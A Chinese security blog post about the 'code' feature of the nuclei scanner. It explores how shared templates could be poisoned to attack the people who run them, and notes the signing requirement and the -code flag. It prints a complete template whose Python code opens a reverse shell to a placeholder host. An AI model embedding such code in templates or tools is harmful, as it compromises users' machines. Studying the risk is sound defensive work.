新功能?浅谈nuclei的反制思路

news2025/1/8 5:05:15

code新功能?

写poc时,习惯性查官方文档的时候,注意到了一个新的功能:code
在这里插入图片描述
链接直达:https://docs.projectdiscovery.io/templates/protocols/code
大概翻译下:

Nuclei 支持在主机操作系统上执行外部代码。该功能允许安全研究人员、五项测试人员和开发人员扩展 Nuclei 的功能,并执行超出常规支持的基于协议的测试范围的复杂操作。

利用这一功能,Nuclei 可以与底层操作系统交互,并执行自定义脚本或命令,从而开辟了广泛的可能性。它使用户能够执行系统级配置、文件操作、网络交互等任务。这种控制水平和灵活性使用户能够根据自己的具体要求定制安全测试工作流程。

编写代码模板时,使用代码块来表示模板请求的开始。该代码块标志着代码相关指令的开始。

要执行代码,需要指定系统环境中已安装或可用的语言解释器列表。这些解释器可以是(但不限于)bash sh py python3、go、ps 等,并按顺序搜索,直到找到合适的解释器为止。这些解释器的标识符应与各自的名称或系统环境识别的标识符相对应。

第一反应,非常棒,利好漏洞poc生态。比如以前有些加密解密只能依赖官方提供的Helper Functions。官方讨论区见过无数提各种各样函数支持的issue了,如果全都适配,必然nuclei会臃肿到非常大。现在开放了三方代码,直接调用本地文件或者自定义代码,完美解决如某友,某微等国内产品的复杂poc编写问题。

第二反应,支持bash sh py python3、go、ps 等,这不一键反弹shell?

众所周知,每年在开源社区投毒漏洞利用工具,脚本等事件频发,常见的手段有代码中藏恶意代码,恶意第三方库,idea特性投毒等等,这不都可以和nuclei这一功能结合起来么?

简单尝试

对着官方仓库:https://github.com/projectdiscovery/nuclei/tree/main/integration_tests/protocols/code
编写一个poc(没加签名了,要尝试的自签名)

id: sh-test

info:
  name: sh-test
  author: sp4rkw
  severity: info

code:
  - engine:
      - py
      - python3
    source: |
      import socket,subprocess,os
      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      s.connect(("xxx.xxx.xxx.xxx",2333))
      os.dup2(s.fileno(),0)
      os.dup2(s.fileno(),1)
      os.dup2(s.fileno(),2)
      p=subprocess.call(["/bin/sh","-i"])
      print("11111")
    
    matchers:
      - type: word
        words:
          - "hello from input baz"

看下效果:

  • 机器1
    在这里插入图片描述
  • 机器2
    在这里插入图片描述

具体分析

首先,毋庸置疑,这个反制思路时可行的。玩法很多,只能说,脚本小子的快乐又没了,用非官方库的nuclei脚本都需要注意一下。至于官方库是否可以投毒,期待有师傅尝试一下?非常可刑

再来说两个注意点,第一个是,脚本需要签名,携带code模块的yaml文件,没有签名运行不起来。虽然没什么用,因为每个人都可以生成签名,但是可以阻止伪造官方仓库poc进行投毒。

通过使用私钥-公钥机制,模板签名为模板生态系统增加了一层安全和信任。它有助于确定模板作者的身份,确保各种系统中使用的模板是真实的,没有被恶意篡改。

直达链接:https://docs.projectdiscovery.io/templates/reference/template-signing

批量签名也非常容易

root@iZmj768nr8:~# nuclei -u scanme.sh -t ./test.yaml -sign
[INF] Generating new key-pair for signing templates
[*] Enter User/Organization Name (exit to abort) : xxx
[*] Enter passphrase (exit to abort): 
[*] Enter same passphrase again: 
[INF] Successfully generated new key-pair for signing templates
root@iZmj768nr80f:~# nuclei -u scanme.sh -t ./test.yaml -sign
[INF] All templates signatures were elaborated success=1 failed=0

第二个点,官方在前几天的更新中,添加了-code命令在这里插入图片描述

默认禁止有code模块的脚本运行,需要加-code参数

官方也只能做到这里了,毋庸置疑,未来使用code模块编写poc肯定会越来越普遍,-code还是会成为一个默认选项。

至于code模块的代码安全检测?留给未来吧

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1277232.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MySQL- CRUD-单表查询

一、INSERT 添加 公式 INSERT INTO table_name [(column [, column...])] VALUES (value [, value...]); 示例: CREATE TABLE goods (id INT ,good_name VARCHAR(10),price DOUBLE ); #添加数据 INSERT INTO goods (id,good_name,price ) VALUES (20,华为手机,…

基于linux的C语言环境下开源hashmap的使用与测试

C语言中没有C语言中map键值对容器的数据结构,为在C语言中提供一种hashmap数据结构,并提供hashmap的操作方法,具体包括新建、释放、清除、获得缓存数据量、设置数据、获取数据、浏览数据等操作,基于hashmap的开源代码很丰富&#x…

基于通义千问和向量数据构建问答知识库

参考:Java从0到1构建基于ChatGPT向量数据库的检索增强生成模型RAG-02 - 知乎 (zhihu.com) 1、先开通 阿里云的向量检索服务 如何开通向量检索服务并创建API-KEY_向量检索服务-阿里云帮助中心 (aliyun.com) 按流程申请 最后需要申请API-KEY 安装DashVector SDK M…

jetpack compose——圆角、渐变

一、背景圆角、渐变 效果图: 代码为: Box(modifier Modifier.clip(RoundedCornerShape(14.dp)) // 设置圆角半径.background(brush Brush.horizontalGradient( // 设置渐变色listOf(Color(0xFFF5DEC9),Color(0xFFF7A74C),))).constrainAs(box_bottom…

SQL Server 数据库,为products表添加数据

在插入数据的时候,需要注意以下事项。 > 每次插入一整行数据,不可能只插入半行或几列数据。 > 数据值的数目必须与列数相同,每个数据值的数据类型、精度和小数位数也必须与相应的 列匹配。 > INSERT语句不能为标识列指定值&#…

java实战(五):理解多线程与多线程实现冒泡排序及可视化

多线程 1.多线程理解1.1线程概念1.2线程的创建和启动1.3线程的同步与互斥1.4线程的状态和生命周期1.5线程间的通信1.6处理线程的异常和错误1.7实践 2.效果3.代码 1.多线程理解 1.1线程概念 线程:计算机中能够执行独立任务的最小单位。在操作系统中,每个…

《YOLOv7原创自研》专栏介绍 CSDN独家改进创新实战专栏目录

YOLOv7原创自研 https://blog.csdn.net/m0_63774211/category_12511937.html 💡💡💡全网独家首发创新(原创),适合paper !!! 💡💡💡…

Docker下搭建MySQL主从复制

目录 主从复制简介 主从复制搭建 主从复制简介 主从复制,是用来建立一个和主数据库完全一样的数据库环境,称为从数据库;主数 据库一般是准实时的业务数据库。 主从复制的作用 做数据的热备。作为后备数据库,主数据库服务器故…

AlmaLinux OS 8.6 下载

下载网址 almalinux (sjtu.edu.cn) 选择对应系统版本 打开上面的txt文件 复制下面的连接到浏览器中打开 选择对应镜像下载

Python操作合并单元格

如何使用python操作Excel实现对合并单元格的一系列操作 01、准备工作(使用镜像下载) pip install openpyx -i https://pypi.tuna.tsinghua.edu.cn/simple 02、简单示例 简单创建一个工作簿进行示范: from openpyxl import Workbook from o…

数学建模 | MATLAB数据建模方法--机器学习方法

近年来,全国赛的题目中,多多少少都有些数据,而且数据量总体来说呈不断增加的趋势, 这是由于在科研界和工业界已积累了比较丰富的数据,伴随大数据概念的兴起及机器学习技术的发展, 这些数据需要转化成更有意…

利用 FormData 实现文件上传、监控网路速度和上传进度

利用 FormData 实现文件上传 基础功能:上传文件 演示如下: 概括流程: 前端:把文件数据获取并 append 到 FormData 对象中后端:通过 ctx.request.files 对象拿到二进制数据,获得 node 暂存的文件路径 前端…

推荐3个完美替代 Navicat 的工具

现在企业,mysql数据库用的比较多,mysql数据库客户端的需求也就比较大,navicat就被大家所熟知。 这个工具,确实好用,功能也非常强大,但是,它的强大,是需要付费,或者用一些…

Ubuntu 2204 安装libimobiledevice

libimobiledevice是一个开源的软件,它可以直接使用系统原生协议和IOS设备进行通信,类似iMazing,iTunes,libimobiledevice不依赖IOS的私有库,并且连接IOS设备时用的都是原生协议,IOS无需越狱就能实现设备信息…

css实现简单的抽奖动画效果

使用css的animation和transform和transition可以实现简单的图片放大缩小,旋转,位移的效果,由此可以延伸的动画效果还是挺多的,比如图片慢慢放大,图片慢慢旋转并放大,图片慢慢变化位置等等, 抽奖…

TCP三次握手过程

什么是TCP tcp是一个面向连接的、可靠的、基于字节流的传输层通信协议 面向连接:TCP连接是一对一的,不能实现一对多或多对一,TCP在通信前要首先建立连接,连接成功后才能开始进行通信可靠的:TCP连接要保证通信过程的可靠…

HUAWEI Vision Pro?华为欲出手竞品对标Apple Vision Pro

大家好,我是极智视界,欢迎关注我的公众号,获取我的更多前沿科技分享 邀您加入我的知识星球「极智视界」,星球内有超多好玩的项目实战源码和资源下载,链接:https://t.zsxq.com/0aiNxERDq Apple Vision Pro 是…

【Python】永久切换pip下载源

目录 永久切换pip下载源切换方式pip国内镜像源参考 永久切换pip下载源 使用Python默认pip下载源容易导致部分库下载超时失败,将pip下载源切换回国内,避免超时访问导致失败 切换方式 通过修改配置文件完成切换: 进入到 C:\Users\用户名 路径…

Python批量Git Pull,对文件夹批量进行Pull操作

效果展示 说明 本来是想写的完善一些,但由于是自用,所以写出来后发现已经解决了自己的问题,所有 2和3功能没有写。 执行的话,需要 cmd 之后 直接 Python BatchGitPull.py 运行下面代码即可。 里面同时涉及到其他Pyhon知识点(写给…

无桌面版docker在Ubuntu系统上安装

目录 注意 系统要求 卸载旧版本 安装 使用apt存储库安装 1. 设置 Docker 的apt存储库。 2. 安装Docker软件包 3. 通过运行镜像来验证Docker Engine安装是否成功 hello-world。 从包中安装 1. 进入 https://download.docker.com/linux/ubuntu/dists/。 2. 在列表中选择…